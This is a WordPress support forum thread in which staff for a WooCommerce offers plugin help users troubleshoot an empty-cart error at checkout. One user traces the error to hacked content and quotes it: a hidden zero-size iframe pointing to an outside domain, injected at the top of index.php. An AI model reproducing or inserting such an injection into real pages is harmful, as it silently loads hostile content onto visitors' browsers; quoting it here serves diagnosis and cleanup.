Cart Is Currently Empty

  • We have a client site where we have your plugin installed. WooCommerce version is 3.3.5 and version of your plugin is 1.4.8.3. The offer process seems to work fine going back and forth between customer and admin. But when the offer has been agreed upon and the customer goes to pay, it simply says “Your Cart is Currently Empty” and shows no product specific info.

    We thought perhaps it was an issue relating to caching, but the same symptom occurs when we disable caching both on site and server.

    Any ideas?

    The page I need help with: [log in to see the link]

Viewing 6 replies - 1 through 6 (of 6 total)
  • Plugin Contributor angelleye

    (@angelleye)

    Caching would have been my first guess, too, but if you’re sure that got fully disabled then it must be something else. Do you have a staging copy of your site? The next step would be to disable all other plugins and switch to a basic theme to see if the issue goes away. If so, then re-enable each one-by-one until the problem comes back to find the culprit.

    We don’t have any other reports of this, so there must be something unique going on there, and that process usually helps track it down. Please check and let me know if you’re able to find the conflict. Thanks!

    I have the same problem. I have cleared cache, have created new cart page, have disabled all plug-ins except Woocommerce, have used default WordPress theme, but it has not solved yet.

    Hi @behzadmy, I will still be guess this a general browser cache, did you tried to clear all caches, CDN ( wp-engine or cloudflare ) and local browser cache as well? I am not seeing any such issues on my sandbox site either so I have to say this is something unique in your case though.

    Can you check that you are not using any of those mentioend above?

    @angelleyesupport
    Thank you for your reply,
    I checked error log. the problem started just after this error:

    PHP Warning: Cannot modify header information – headers already sent by (output started at /home/…../public_html/index.php:1) in /home/…../public_html/wp-includes/pluggable.php on line 1219
    The line 1219 is: header(“Location: $location”, true, $status);
    And these error occurs many times a day.

    I found the problem.
    There was hacked content on my index.php:

    <html><iframe src=”https://mandon.nl/products/flash/01.html&#8221; marginwidth=”0″ marginheight=”0″ width=”0″ height=”0″ scrolling=”no” border=”0″ frameborder=”0″></iframe></html><html><iframe src=”https://mandon.nl/products/flash/01.html&#8221; marginwidth=”0″ marginheight=”0″ width=”0″ height=”0″ scrolling=”no” border=”0″ frameborder=”0″></iframe></html><?php
    I guess hackers use one of famous newsletter plugins to penetrate to wordpress (I checked errors log and users that changed their password just before hacking ). Now i deleted the plugin.

    @behzadmy, sounds great that you figure that out. Always be carefull while installing any such plugins that could cause trouble for you site.
    So I consider this matter as resolved now. If you have a moment to leave a review for our plugin, that would be greatly appreciated.

    Thanks!

Viewing 6 replies - 1 through 6 (of 6 total)
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